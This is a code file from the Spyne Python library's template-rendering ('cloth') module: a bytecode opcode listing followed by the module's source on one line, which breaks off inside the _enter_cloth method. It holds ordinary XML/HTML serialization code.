POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR array_to_cloth LOAD_FAST ctx LOAD_FAST cls LOAD_FAST inst LOAD_FAST cloth LOAD_FAST parent LOAD_FAST as_attr LOAD_FAST name LOAD_CONST ('as_attr', 'name') CALL_FUNCTION STORE_FAST ret JUMP_FORWARD to 656 LOAD_FAST self LOAD_ATTR rendering_handlers LOAD_FAST cls BINARY_SUBSCR STORE_FAST handler LOAD_FAST handler LOAD_FAST ctx LOAD_FAST cls LOAD_FAST inst LOAD_FAST cloth LOAD_FAST parent LOAD_FAST name LOAD_FAST as_attr LOAD_CONST ('name', 'as_attr') CALL_FUNCTION STORE_FAST ret LOAD_GLOBAL isgenerator LOAD_FAST ret CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_EXCEPT to 696 SETUP_LOOP to 692 LOAD_CONST None YIELD_VALUE STORE_FAST sv2 LOAD_FAST ret LOAD_METHOD send LOAD_FAST sv2 CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK POP_BLOCK JUMP_FORWARD to 824 DUP_TOP LOAD_GLOBAL Break COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 810 SETUP_FINALLY to 764 SETUP_EXCEPT to 732 LOAD_FAST ret LOAD_METHOD throw LOAD_FAST e CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 760 DUP_TOP LOAD_GLOBAL Break LOAD_GLOBAL StopIteration LOAD_GLOBAL GeneratorExit BUILD_TUPLE COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 760 END_FINALLY POP_BLOCK LOAD_CONST None LOAD_FAST pushed EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST '%s %r popped %r %r' LOAD_GLOBAL B LOAD_CONST '#' CALL_FUNCTION LOAD_FAST self LOAD_FAST cls LOAD_FAST inst CALL_METHOD POP_TOP LOAD_FAST ctx LOAD_ATTR outprot_ctx LOAD_ATTR inst_stack LOAD_METHOD pop CALL_METHOD POP_TOP END_FINALLY POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 824 END_FINALLY JUMP_FORWARD to 866 LOAD_FAST pushed EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST '%s %r popped %r %r' LOAD_GLOBAL B LOAD_CONST '#' CALL_FUNCTION LOAD_FAST self LOAD_FAST cls LOAD_FAST inst CALL_METHOD POP_TOP LOAD_FAST ctx LOAD_ATTR outprot_ctx LOAD_ATTR inst_stack LOAD_METHOD pop CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD get_cls_attrs LOAD_FAST cls CALL_METHOD STORE_FAST cls_attrs LOAD_FAST self LOAD_ATTR _enter_cloth LOAD_FAST ctx LOAD_FAST cloth LOAD_FAST parent LOAD_FAST cls_attrs LOAD_ATTR method LOAD_CONST ('method',) CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR WRITE_CONTENTS_WHEN_NOT_NONE LOAD_FAST cloth LOAD_ATTR attrib COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST 'Writing contents for %r' LOAD_FAST cloth CALL_METHOD POP_TOP SETUP_LOOP to 98 LOAD_FAST cloth GET_ITER FOR_ITER to 76 STORE_FAST c LOAD_FAST parent LOAD_METHOD write LOAD_FAST c CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 98 LOAD_FAST parent LOAD_METHOD write LOAD_FAST self LOAD_METHOD to_unicode LOAD_FAST cls LOAD_FAST inst CALL_METHOD CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD get_cls_attrs LOAD_FAST cls CALL_METHOD STORE_FAST cls_attrs LOAD_FAST self LOAD_ATTR _enter_cloth LOAD_FAST ctx LOAD_FAST cloth LOAD_FAST parent LOAD_FAST cls_attrs LOAD_ATTR method LOAD_CONST ('method',) CALL_FUNCTION POP_TOP LOAD_GLOBAL isinstance LOAD_FAST inst LOAD_GLOBAL string_types CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL etree LOAD_METHOD fromstring LOAD_FAST inst CALL_METHOD STORE_FAST inst LOAD_FAST parent LOAD_METHOD write LOAD_FAST inst CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD get_cls_attrs LOAD_FAST cls CALL_METHOD STORE_FAST cls_attrs LOAD_FAST self LOAD_ATTR _enter_cloth LOAD_FAST ctx LOAD_FAST cloth LOAD_FAST parent LOAD_FAST cls_attrs LOAD_ATTR method LOAD_CONST ('method',) CALL_FUNCTION POP_TOP LOAD_FAST parent LOAD_METHOD write LOAD_FAST inst CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD get_cls_attrs LOAD_FAST cls CALL_METHOD STORE_FAST cls_attrs LOAD_FAST self LOAD_ATTR _enter_cloth LOAD_FAST ctx LOAD_FAST cloth LOAD_FAST parent LOAD_FAST cls_attrs LOAD_ATTR method LOAD_CONST ('method',) CALL_FUNCTION POP_TOP LOAD_GLOBAL isinstance LOAD_FAST inst LOAD_GLOBAL string_types CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL html LOAD_METHOD fromstring LOAD_FAST inst CALL_METHOD STORE_FAST inst LOAD_FAST parent LOAD_METHOD write LOAD_FAST inst CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD get_cls_attrs LOAD_FAST cls CALL_METHOD STORE_FAST cls_attrs LOAD_FAST self LOAD_ATTR _enter_cloth LOAD_FAST ctx LOAD_FAST cloth LOAD_FAST parent LOAD_FAST cls_attrs LOAD_ATTR method LOAD_CONST ('method',) CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR any_uri_to_parent LOAD_FAST ctx LOAD_FAST cls LOAD_FAST inst LOAD_FAST parent LOAD_FAST name BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_METHOD get_flat_type_info LOAD_FAST cls CALL_METHOD STORE_FAST fti LOAD_FAST self LOAD_METHOD get_cls_attrs LOAD_FAST cls CALL_METHOD STORE_FAST cls_attrs LOAD_GLOBAL dict LOAD_FAST fti LOAD_METHOD items CALL_METHOD CALL_FUNCTION STORE_FAST fti_check LOAD_GLOBAL set CALL_FUNCTION STORE_FAST elt_check LOAD_FAST self LOAD_METHOD _gen_attrib_dict LOAD_FAST inst LOAD_FAST fti CALL_METHOD STORE_FAST attrib LOAD_FAST self LOAD_ATTR _enter_cloth LOAD_FAST ctx LOAD_FAST cloth LOAD_FAST parent LOAD_FAST attrib LOAD_FAST cls_attrs LOAD_ATTR method LOAD_CONST ('attrib', 'method') CALL_FUNCTION POP_TOP SETUP_LOOP to 112 LOAD_FAST self LOAD_METHOD _get_elts LOAD_FAST cloth LOAD_FAST self LOAD_ATTR MRPC_ID CALL_METHOD GET_ITER FOR_ITER to 110 STORE_FAST elt LOAD_FAST self LOAD_METHOD _actions_to_cloth LOAD_FAST ctx LOAD_FAST cls LOAD_FAST inst LOAD_FAST elt CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_METHOD _is_tagbag LOAD_FAST cloth CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST '%r(%r) IS a tagbag' LOAD_FAST cloth LOAD_FAST cloth LOAD_ATTR attrib CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD _get_elts LOAD_FAST cloth CALL_METHOD STORE_FAST elts JUMP_FORWARD to 176 LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST '%r(%r) is NOT a tagbag' LOAD_FAST cloth LOAD_FAST cloth LOAD_ATTR attrib CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD _get_outmost_elts LOAD_FAST cloth CALL_METHOD STORE_FAST elts LOAD_FAST cloth LOAD_ATTR attrib LOAD_METHOD get LOAD_FAST self LOAD_ATTR DATA_ATTR_NAME LOAD_CONST None CALL_METHOD STORE_FAST as_data_field LOAD_FAST as_data_field LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _process_field LOAD_FAST ctx LOAD_FAST cls LOAD_FAST inst LOAD_FAST parent LOAD_FAST cloth LOAD_FAST fti LOAD_FAST as_data_field LOAD_FAST as_attr LOAD_CONST True LOAD_FAST fti_check LOAD_FAST elt_check BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP EXTENDED_ARG SETUP_LOOP to 544 LOAD_FAST elts GET_ITER EXTENDED_ARG FOR_ITER to 542 STORE_FAST elt EXTENDED_ARG SETUP_LOOP to 540 LOAD_FAST self LOAD_ATTR ID_ATTR_NAME LOAD_CONST False LOAD_CONST False BUILD_TUPLE LOAD_FAST self LOAD_ATTR ATTR_ATTR_NAME LOAD_CONST True LOAD_CONST False BUILD_TUPLE LOAD_FAST self LOAD_ATTR DATA_ATTR_NAME LOAD_CONST False LOAD_CONST True BUILD_TUPLE BUILD_TUPLE GET_ITER FOR_ITER to 538 UNPACK_SEQUENCE STORE_FAST k_attr STORE_FAST as_attr STORE_FAST as_data LOAD_FAST elt LOAD_ATTR attrib LOAD_METHOD get LOAD_FAST k_attr LOAD_CONST None CALL_METHOD STORE_FAST field_name LOAD_FAST field_name LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE EXTENDED_ARG JUMP_ABSOLUTE LOAD_FAST elt LOAD_ATTR tag LOAD_FAST self LOAD_ATTR DATA_TAG_NAME COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True STORE_FAST as_data LOAD_FAST self LOAD_ATTR _process_field LOAD_FAST ctx LOAD_FAST cls LOAD_FAST inst LOAD_FAST parent LOAD_FAST elt LOAD_FAST fti LOAD_FAST field_name BUILD_TUPLE LOAD_FAST as_attr LOAD_FAST as_data LOAD_FAST fti_check LOAD_FAST elt_check LOAD_CONST ('as_attr', 'as_data', 'fti_check', 'elt_check') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST ret LOAD_GLOBAL isgenerator LOAD_FAST ret CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_EXCEPT to 422 SETUP_LOOP to 418 LOAD_CONST None YIELD_VALUE STORE_FAST sv2 LOAD_FAST ret LOAD_METHOD send LOAD_FAST sv2 CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK POP_BLOCK JUMP_FORWARD to 518 DUP_TOP LOAD_GLOBAL Break COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 504 SETUP_FINALLY to 484 SETUP_EXCEPT to 458 LOAD_FAST ret LOAD_METHOD throw LOAD_FAST e CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 480 DUP_TOP LOAD_GLOBAL StopIteration COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 480 END_FINALLY POP_BLOCK LOAD_CONST None LOAD_FAST as_attr EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST as_data EXTENDED_ARG POP_JUMP_IF_TRUE BREAK_LOOP END_FINALLY POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 518 END_FINALLY JUMP_FORWARD to 534 LOAD_FAST as_attr EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST as_data EXTENDED_ARG POP_JUMP_IF_TRUE BREAK_LOOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL len LOAD_FAST fti_check CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logger_s LOAD_METHOD debug LOAD_CONST 'No element found for the following fields: %r' LOAD_GLOBAL list LOAD_FAST fti_check LOAD_METHOD keys CALL_METHOD CALL_FUNCTION CALL_METHOD POP_TOP LOAD_GLOBAL len LOAD_FAST elt_check CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logger_s LOAD_METHOD debug LOAD_CONST 'No field found for element the following elements: %r' LOAD_GLOBAL list LOAD_FAST elt_check CALL_FUNCTION CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST fti LOAD_METHOD get LOAD_FAST field_name LOAD_CONST None CALL_METHOD STORE_FAST field_type LOAD_FAST fti_check LOAD_METHOD pop LOAD_FAST field_name LOAD_CONST None CALL_METHOD POP_TOP LOAD_FAST field_type LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL logger_c LOAD_METHOD warning LOAD_CONST 'elt id %r not in %r' LOAD_FAST field_name LOAD_FAST cls CALL_METHOD POP_TOP LOAD_FAST elt_check LOAD_METHOD add LOAD_FAST field_name CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _enter_cloth LOAD_FAST ctx LOAD_FAST elt LOAD_FAST parent LOAD_CONST True LOAD_CONST ('skip',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD get_cls_attrs LOAD_FAST field_type CALL_METHOD STORE_FAST cls_attrs LOAD_FAST cls_attrs LOAD_ATTR exc POP_JUMP_IF_FALSE LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST 'Skipping elt id %r because it was excluded' LOAD_FAST field_name CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cls_attrs LOAD_ATTR sub_name STORE_FAST sub_name LOAD_FAST sub_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST field_name STORE_FAST sub_name LOAD_GLOBAL issubclass LOAD_FAST cls LOAD_GLOBAL Array CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST inst STORE_FAST val JUMP_FORWARD to 156 LOAD_GLOBAL getattr LOAD_FAST inst LOAD_FAST field_name LOAD_CONST None CALL_FUNCTION STORE_FAST val LOAD_FAST as_data POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _enter_cloth LOAD_FAST ctx LOAD_FAST elt LOAD_FAST parent LOAD_CONST True LOAD_CONST True LOAD_FAST cls_attrs LOAD_ATTR method LOAD_CONST ('skip', 'skip_dupe', 'method') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR to_cloth LOAD_FAST ctx LOAD_FAST field_type LOAD_FAST val LOAD_FAST elt LOAD_FAST parent BUILD_TUPLE LOAD_FAST sub_name LOAD_FAST as_attr LOAD_FAST as_data LOAD_CONST ('name', 'as_attr', 'as_data') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST inst LOAD_GLOBAL PushBase CALL_FUNCTION POP_JUMP_IF_FALSE SETUP_LOOP to 160 LOAD_CONST None YIELD_VALUE STORE_FAST sv LOAD_FAST self LOAD_ATTR to_cloth LOAD_FAST ctx LOAD_FAST cls LOAD_FAST sv LOAD_FAST cloth LOAD_FAST parent BUILD_TUPLE LOAD_FAST name LOAD_CONST True LOAD_CONST ('name', 'from_arr') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST ret LOAD_GLOBAL isgenerator LOAD_FAST ret CALL_FUNCTION POP_JUMP_IF_FALSE SETUP_EXCEPT to 86 SETUP_LOOP to 82 LOAD_CONST None YIELD_VALUE STORE_FAST sv2 LOAD_FAST ret LOAD_METHOD send LOAD_FAST sv2 CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK POP_BLOCK JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL Break COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 142 SETUP_EXCEPT to 118 LOAD_FAST ret LOAD_METHOD throw LOAD_FAST e CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 138 DUP_TOP LOAD_GLOBAL StopIteration COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 138 END_FINALLY POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_ABSOLUTE END_FINALLY JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 354 LOAD_GLOBAL _NODATA STORE_FAST sv SETUP_LOOP to 326 LOAD_FAST inst GET_ITER FOR_ITER to 324 STORE_FAST sv LOAD_CONST False STORE_FAST was_empty LOAD_FAST self LOAD_ATTR to_cloth LOAD_FAST ctx LOAD_FAST cls LOAD_FAST sv LOAD_FAST cloth LOAD_FAST parent BUILD_TUPLE LOAD_CONST True LOAD_FAST name LOAD_CONST ('from_arr', 'name') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST ret LOAD_GLOBAL isgenerator LOAD_FAST ret CALL_FUNCTION POP_JUMP_IF_FALSE SETUP_EXCEPT to 248 SETUP_LOOP to 244 LOAD_CONST None YIELD_VALUE STORE_FAST sv2 LOAD_FAST ret LOAD_METHOD send LOAD_FAST sv2 CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK POP_BLOCK JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL Break COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 308 SETUP_EXCEPT to 282 LOAD_FAST ret LOAD_METHOD throw LOAD_FAST e CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 304 DUP_TOP LOAD_GLOBAL StopIteration COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 304 END_FINALLY POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_ABSOLUTE END_FINALLY JUMP_ABSOLUTE POP_BLOCK LOAD_FAST sv LOAD_GLOBAL _NODATA COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _enter_cloth LOAD_FAST ctx LOAD_FAST cloth LOAD_FAST parent LOAD_CONST True LOAD_CONST ('skip',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE
from __future__ import print_function import logging logger_c = logging.getLogger("%s.cloth" % __name__) logger_s = logging.getLogger("%s.serializer" % __name__) from lxml import html, etree from copy import deepcopy from inspect import isgenerator from spyne.util import Break, coroutine from spyne.util.oset import oset from spyne.util.six import string_types from spyne.util.color import R, B from spyne.model import ( Array, AnyXml, AnyHtml, ModelBase, ComplexModelBase, PushBase, XmlAttribute, AnyUri, XmlData, Any, ) from spyne.protocol import OutProtocolBase from spyne.util.cdict import cdict _revancestors = lambda elt: list(reversed(tuple(elt.iterancestors()))) _NODATA = type("_NODATA", (object,), {}) def _prevsibls(elt, strip_comments, since=None): return reversed(list(_prevsibls_since(elt, strip_comments, since))) def _prevsibls_since(elt, strip_comments, since): if since is elt: return for prevsibl in elt.itersiblings(preceding=True): if prevsibl is since: break if strip_comments and isinstance(elt, etree.CommentBase): if elt.text.startswith("[if ") and elt.text.endswith("[endif]"): pass else: continue yield prevsibl def _set_identifier_prefix( obj, prefix, mrpc_id="mrpc", id_attr="id", data_tag="data", data_attr="data", attr_attr="attr", root_attr="root", tagbag_attr="tagbag", ): obj.ID_PREFIX = prefix obj.MRPC_ID = "{}{}".format(prefix, mrpc_id) obj.ID_ATTR_NAME = "{}{}".format(prefix, id_attr) obj.DATA_TAG_NAME = "{}{}".format(prefix, data_tag) obj.DATA_ATTR_NAME = "{}{}".format(prefix, data_attr) obj.ATTR_ATTR_NAME = "{}{}".format(prefix, attr_attr) obj.ROOT_ATTR_NAME = "{}{}".format(prefix, root_attr) obj.TAGBAG_ATTR_NAME = "{}{}".format(prefix, tagbag_attr) obj.WRITE_CONTENTS_WHEN_NOT_NONE = "{}write-contents".format(prefix) obj.SPYNE_ATTRS = { obj.ID_ATTR_NAME, obj.DATA_ATTR_NAME, obj.ATTR_ATTR_NAME, obj.ROOT_ATTR_NAME, obj.TAGBAG_ATTR_NAME, obj.WRITE_CONTENTS_WHEN_NOT_NONE, } class ClothParserMixin(object): ID_PREFIX = "spyne-" ID_ATTR_NAME = "spyne-id" DATA_TAG_NAME = "spyne-data" DATA_ATTR_NAME = "spyne-data" ATTR_ATTR_NAME = "spyne-attr" ROOT_ATTR_NAME = "spyne-root" TAGBAG_ATTR_NAME = "spyne-tagbag" WRITE_CONTENTS_WHEN_NOT_NONE = "spyne-write-contents" def set_identifier_prefix(self, what): _set_identifier_prefix(self, what) return self @classmethod def from_xml_cloth(cls, cloth, strip_comments=True): retval = cls() retval._init_cloth( cloth, cloth_parser=etree.XMLParser(), strip_comments=strip_comments ) return retval @classmethod def from_html_cloth(cls, cloth, strip_comments=True): retval = cls() retval._init_cloth( cloth, cloth_parser=html.HTMLParser(), strip_comments=strip_comments ) return retval @staticmethod def _strip_comments(root): for elt in root.iter(): if isinstance(elt, etree.CommentBase): if elt.getparent() is not None: if elt.text.startswith("[if ") and elt.text.endswith("[endif]"): pass else: elt.getparent().remove(elt) def _parse_file(self, file_name, cloth_parser): cloth = etree.parse(file_name, parser=cloth_parser) return cloth.getroot() def _init_cloth(self, cloth, cloth_parser, strip_comments): """Called from XmlCloth.__init__ in order to not break the dunder init signature consistency""" self._cloth = None self._root_cloth = None self.strip_comments = strip_comments self._mrpc_cloth = self._root_cloth = None if cloth is None: return if isinstance(cloth, string_types): cloth = self._parse_file(cloth, cloth_parser) if strip_comments: self._strip_comments(cloth) q = "//*[@%s]" % self.ROOT_ATTR_NAME elts = cloth.xpath(q) if len(elts) > 0: logger_c.debug("Using %r as root cloth.", cloth) self._root_cloth = elts[0] else: logger_c.debug("Using %r as plain cloth.", cloth) self._cloth = cloth self._mrpc_cloth = self._pop_elt(cloth, "mrpc_entry") def _pop_elt(self, elt, what): query = '//*[@%s="%s"]' % (self.ID_ATTR_NAME, what) retval = elt.xpath(query) if len(retval) > 1: raise ValueError("more than one element found for query %r" % query) elif len(retval) == 1: retval = retval[0] next(retval.iterancestors()).remove(retval) return retval _set_identifier_prefix(ClothParserMixin, ClothParserMixin.ID_PREFIX) class ToClothMixin(OutProtocolBase, ClothParserMixin): def __init__( self, app=None, mime_type=None, ignore_uncap=False, ignore_wrappers=False, polymorphic=True, ): super(ToClothMixin, self).__init__( app=app, mime_type=mime_type, ignore_uncap=ignore_uncap, ignore_wrappers=ignore_wrappers, ) self.polymorphic = polymorphic self.rendering_handlers = cdict( { ModelBase: self.model_base_to_cloth, AnyXml: self.xml_to_cloth, Any: self.any_to_cloth, AnyHtml: self.html_to_cloth, AnyUri: self.any_uri_to_cloth, ComplexModelBase: self.complex_to_cloth, } ) def _get_elts(self, elt, tag_id=None): if tag_id is None: return elt.xpath('.//*[@*[starts-with(name(), "%s")]]' % self.ID_PREFIX) return elt.xpath( './/*[@*[starts-with(name(), "%s")]="%s"]' % (self.ID_PREFIX, tag_id) ) def _get_outmost_elts(self, tmpl, tag_id=None): ids = set() for elt in self._get_elts(tmpl, tag_id): if elt is tmpl: # FIXME: kill this logger_c.debug("Don't send myself") continue # don't send myself if len(set((id(e) for e in elt.iterancestors())) & ids) > 0: logger_c.debug("Don't send grandchildren") continue # don't send grandchildren if id(elt) in ids: # FIXME: this check should be safe to remove logger_c.debug("Don't send what's already been sent") continue # don't send what's already been sent if self.ID_ATTR_NAME in elt.attrib: ids.add(id(elt)) yield elt def _get_clean_elt(self, elt, what): query = '//*[@%s="%s"]' % (self.ID_ATTR_NAME, what) retval = elt.xpath(query) if len(retval) > 1: raise ValueError("more than one element found for query %r" % query) elif len(retval) == 1: retval = retval[0] del retval.attrib[self.ID_ATTR_NAME] return retval def _get_elts_by_id(self, elt, what): retval = elt.xpath('//*[@id="%s"]' % what) logger_c.debug("id=%r got %r", what, retval) return retval def _is_tagbag(self, elt): return self.TAGBAG_ATTR_NAME in elt.attrib @staticmethod def _methods(ctx, cls, inst): while cls.Attributes._wrapper and len(cls._type_info) > 0: (cls,) = cls._type_info.values() if cls.Attributes.methods is not None: for k, v in cls.Attributes.methods.items(): is_shown = True if v.when is not None: is_shown = v.when(inst, ctx) if is_shown: yield k, v def _actions_to_cloth(self, ctx, cls, inst, template): if self._mrpc_cloth is None: logger_c.warning("missing 'mrpc_template'") return for elt in self._get_elts(template, self.MRPC_ID): for k, v in self._methods(ctx, cls, inst): href = v.in_message.get_type_name() text = v.translate(ctx.locale, v.in_message.get_type_name()) mrpc_template = deepcopy(self._mrpc_cloth) anchor = self._get_clean_elt(mrpc_template, "mrpc_link") anchor.attrib["href"] = href text_elt = self._get_clean_elt(mrpc_template, "mrpc_text") if text_elt is not None: text_elt.text = text else: anchor.text = text elt.append(mrpc_template) def _enter_cloth( self, ctx, cloth, parent, attrib={}, skip=False, method=None, skip_dupe=False ): """Enters the given tag in the document by using the shortest path from current tag. 1. Moves up the tree by writing all tags so that the set of ancestors of the current tag are a subset of the ancestors of the parent tag 2. Writes all tags until hitting a direct ancestor, enters it, and keeps writing previous siblings of ancestor tags and entering ancestor tags until hitting the target tag. 3. Enters the target tag and returns There is no _exit_cloth because exiting from tags is done automatically with subsequent calls to _enter_cloth and finally to _close_cloth. :param ctx: A MethodContext instance :param cloth: The target cloth -- an ``lxml.etree._Element`` instance. :param parent: The target stream -- typically an ``lxml.etree._IncrementalFileWriter`` instance. :param attrib: A dict of additional attributes for the target cloth. :param skip: When True, the target tag is actually not entered. Typically used for XmlData and friends. :param method: One of ``(None, 'html', 'xml')``. When not ``None``, overrides the output method of lxml. :param skip_dupe: When ``False`` (the default) if this function is called repeatedly for the same tag, the tag is exited and reentered. This typically happens for types with ``max_occurs`` > 1 (eg. arrays). """ logger_c.debug( "entering %s %r nsmap=%r attrib=%r skip=%s method=%s", cloth.tag, cloth.attrib, cloth.nsmap, attrib, skip, method, ) if not ctx.outprot_ctx.doctype_written: self.write_doctype(ctx, parent, cloth) tags = ctx.protocol.tags rootstack = ctx.protocol.rootstack assert isinstance(rootstack, oset) eltstack = ctx.protocol.eltstack ctxstack = ctx.protocol.ctxstack cureltstack = eltstack[rootstack.back] curctxstack = ctxstack[rootstack.back] if skip_dupe and len(cureltstack) > 0 and cureltstack[-1] is cloth: return cloth_root = cloth.getroottree().getroot() if not cloth_root in rootstack: rootstack.add(cloth_root) cureltstack = eltstack[rootstack.back] curctxstack = ctxstack[rootstack.back] assert rootstack.back == cloth_root while rootstack.back != cloth_root: self._close_cloth(ctx, parent) last_elt = None if len(cureltstack) > 0: last_elt = cureltstack[-1] ancestors = _revancestors(cloth) while ancestors[: len(cureltstack)] != cureltstack: elt = cureltstack.pop() elt_ctx = curctxstack.pop() last_elt = elt if elt_ctx is not None: self.event_manager.fire_event(("before_exit", elt), ctx, parent) elt_ctx.__exit__(None, None, None) logger_c.debug("\texit norm %s %s", elt.tag, elt.attrib) if elt.tail is not None: parent.write(elt.tail) if ancestors[: len(cureltstack)] != cureltstack: for sibl in elt.itersiblings(preceding=False): logger_c.debug( "\twrite exit sibl %s %r %d", sibl.tag, sibl.attrib, id(sibl) ) parent.write(sibl) for anc in ancestors[len(cureltstack) :]: prevsibls = _prevsibls(anc, self.strip_comments, since=last_elt) for elt in prevsibls: if id(elt) in tags: logger_c.debug("\tskip anc prevsibl %s %r", elt.tag, elt.attrib) continue logger_c.debug( "\twrite anc prevsibl %s %r 0x%x", elt.tag, elt.attrib, id(elt) ) parent.write(elt) kwargs = {} if len(cureltstack) == 0: kwargs["nsmap"] = anc.nsmap anc_ctx = parent.element(anc.tag, anc.attrib, **kwargs) anc_ctx.__enter__() logger_c.debug( "\tenter norm %s %r 0x%x method: %r", anc.tag, anc.attrib, id(anc), method, ) if anc.text is not None: parent.write(anc.text) rootstack.add(anc.getroottree().getroot()) cureltstack = eltstack[rootstack.back] curctxstack = ctxstack[rootstack.back] cureltstack.append(anc) curctxstack.append(anc_ctx) prevsibls = _prevsibls(cloth, self.strip_comments, since=last_elt) for elt in prevsibls: if elt is last_elt: continue if id(elt) in tags: logger_c.debug("\tskip cloth prevsibl %s %r", elt.tag, elt.attrib) continue logger_c.debug("\twrite cloth prevsibl %s %r", elt.tag, elt.attrib) parent.write(elt) skip = skip or (cloth.tag == self.DATA_TAG_NAME) if skip: tags.add(id(cloth)) if method is not None: curtag = parent.method(method) curtag.__enter__() else: curtag = None else: cloth_attrib = dict( [(k, v) for k, v in cloth.attrib.items() if not k in self.SPYNE_ATTRS] ) cloth_attrib.update(attrib) self.event_manager.fire_event( ("before_entry", cloth), ctx, parent, cloth_attrib ) kwargs = {} if len(cureltstack) == 0: kwargs["nsmap"] = cloth.nsmap if method is not None: kwargs["method"] = method 